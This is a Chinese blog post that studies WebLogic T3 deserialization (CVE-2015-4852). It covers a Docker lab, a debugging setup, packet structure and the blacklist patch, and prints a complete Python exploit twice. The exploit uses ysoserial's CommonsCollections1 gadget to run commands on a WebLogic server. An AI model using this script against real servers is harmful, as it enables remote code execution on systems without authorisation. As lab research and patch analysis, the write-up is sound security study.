0x00 前言
Weblogic 也算是使用范围非常广的中间件了,同时在之前面试的时候也经常被问到,但是由于没看过就直接哑巴,然后在平时遇到的时候都是脚本小子工具一把梭哈(梭哈不出来就代表没有漏洞 orz),在 Weblogic 的反序列化漏洞中主要是 XMLDecoder 和 T3 ,所以就先来学习一下 T3 反序列化
0x01 环境安装
这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦
链接:https://github.com/QAX-A-Team/WeblogicEnvironment
下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
镜像构建
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
至此我们的 Weblogic 就运行起来了
远程调试
那么环境起来了之后我们需要配置远程调试,首先我们要将 Weblogic 的一些依赖从 docker 中拉出来
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
我这里直接利用 IDEA 打开了 wlserver 文件夹
然后将导出的依赖进行导入
在我们打开的项目中将 server/lib 作为依赖进行导入,这样我们的 jar 包就都能打开了
依赖导入完成之后,配置页面添加 Remote 然后端口修改为 8453
当看到 console 中出现如下那么就说明成功了
断点调试
测试一下远程调试是否生效
mac下按两下 shift 呼出搜索洁面,搜索 WLSServletAdapter 类
然后在第129行处左右打上断点
访问 http://localhost:7001/wls-wsat/CoordinatorPortType ,发现在断点处成功拦截
至此我们的调试环境就已经配置完毕了
0x02 T3协议
T3协议简介
T3 协议是 Weblogic RMI 调用时的通信协议
RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的
如果对 RMI 没有过实现了解的话可以去看一下我之前写过的一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/geuf6a
Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本
奇安信 A-team 的师傅写过一篇很不错的关于 Weblogic 的文章,感兴趣的可以去看看
调用流程
这里我们以 CVE-2015-4852 的例子来看一下
Ps: 这里我的环境是 jdk 7u21 所以用的是 CommonsCollections1 ,链选择根据自己实际情况来
Poc
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "/Users/xxxx/tools/ysoserial/ysoserial-master-d367e379d9-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
运行之后会显示 Weblogic 版本,同时在 docker 的 /tmp/ 下创建 success
打完 poc 之后打开wireshark,设置过滤规则为 tcp.port == 7001
即可看到我们的数据包
右键 -> followd -> TCP Stream 即可看到数据包
发现首先会发一个试探包 t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
, 然后 Weblogic 会回应 HELO 和自身的版本,然后接下来是我们的 payload 的数据包
数据包组成
我们重点来关注 payload 那个数据包的组成,也就是下图红框部分
主要有以下几个部分组成:
【数据包长度】【T3协议头】【反序列化标志】【数据】
通常在反序列化数据包中,ac ed 00 05
是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00
,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05
现在回过头来分析我们的 Poc 组成
在 Poc 中首先会发送握手包,如果检测到了对应的返回就输出,反之就直接返回不执行后续代码
这部分对应的是数据包中的
然后正则匹配到返回信息时,将我们的 payload 添加到对应的位置 也就是 fe 01 00 00
首先利用 00000000
对开头的长度先进行占位,然后再后面拼接不会改变的 T3 协议头和 反序列化标志,然后再将 ysoerial.jar 生成的 payload 拼接到最后
然后计算长度并将其转化成小端数,对前面的占位进行替换
ps:wireshark 右键 as a Hex Stream 直接可以复制出来
接下来正式开始分析 T3 反序列化 233
0x03 漏洞分析
CVE-2015-4852
漏洞点在 weblogic.rjvm.InboundMsgAbbrev#readObject 中
Ps: 建议使用搜索,这样能够快速
可以发现调用了子类 ServerChannelInputStream 的 readObject 方法
那么我们来看一下子类 ServerChannelInputStream ,该子类继承自是 ObjectInputStream ,同时重写了 resolveClass 方法,但是可以看到并没有做任何防御
这里看到重写的 resolveClass 中最开始还是调用父类的 resolveClass
至此我们的反序列化点就有了,那么既然有了反序列化点,我们的 gadget呢?
搜索依赖,发现正好有我们的老朋友 CommonsCollections 3.2 同时也是存在漏洞的版本
有了 gadget 有了反序列化点 然后我们的 jdk 为 7u21 ,可以直接用 cc1 来打
直接将我们的 payload 打过去
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "/Users/wujialiang/tools/ysoserial/ysoserial-master-d367e379d9-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
成功在 tmp 下创建了 success
resolveClass
参考链接:https://www.anquanke.com/post/id/226070#h3-13
前面说到在 resolveClass 中没有做防护,以及 Weblogic 后续的补丁都是在 resolveClass 中进行防护的,所以我们这里来看看
原生 readObject 内部流程如下:
那么为什么要在 resolveClass 处,而不是别的地方?
这里的 readClassDesc 是获取类描述
desc 的内容主要是 全限定类名和 serialVersionUID
这里 switch 根据 tc 对应的值进入对应的方法
在 checksRequired 中调用了 resolveClass,我们跟进进行关注
发现在 resolveClass 函数中,从类描述中获取到了全限定类名,然后利用反射根据全限定类名来获取到对应的 Class 对象并且进行返回
所以当我们重写 resolveClass 的时候,我们在这里添加一个 类名的黑名单,如果发现类在黑名单中就抛出错误,那么就可以在一定程度上拦截反序列化攻击了
CVE-2015-4852 修复
这里借用李三师傅的图,因为俺手里没补丁
发现在调用父类的 resolveClass 前增加了一个判断,如果在黑名单中那么就抛出错误
但是众所周知,黑名单并不是一种很好的修复手段,会存在绕过黑名单的情况,事实证明后续确实有一系列的绕过
(等俺有了补丁之后再写后续,因为 oracle 的补丁好像只有买了他们产品的才能下载)
0x04 总结
终于也算是对 Weblogic 学习进行了一个小小的开篇吧,之前面试 Weblogic 被问到很多次,也足以说明 Webgloic 的使用范围广
最后感谢李三师傅,奶思师傅以及A-team师傅的文章和工具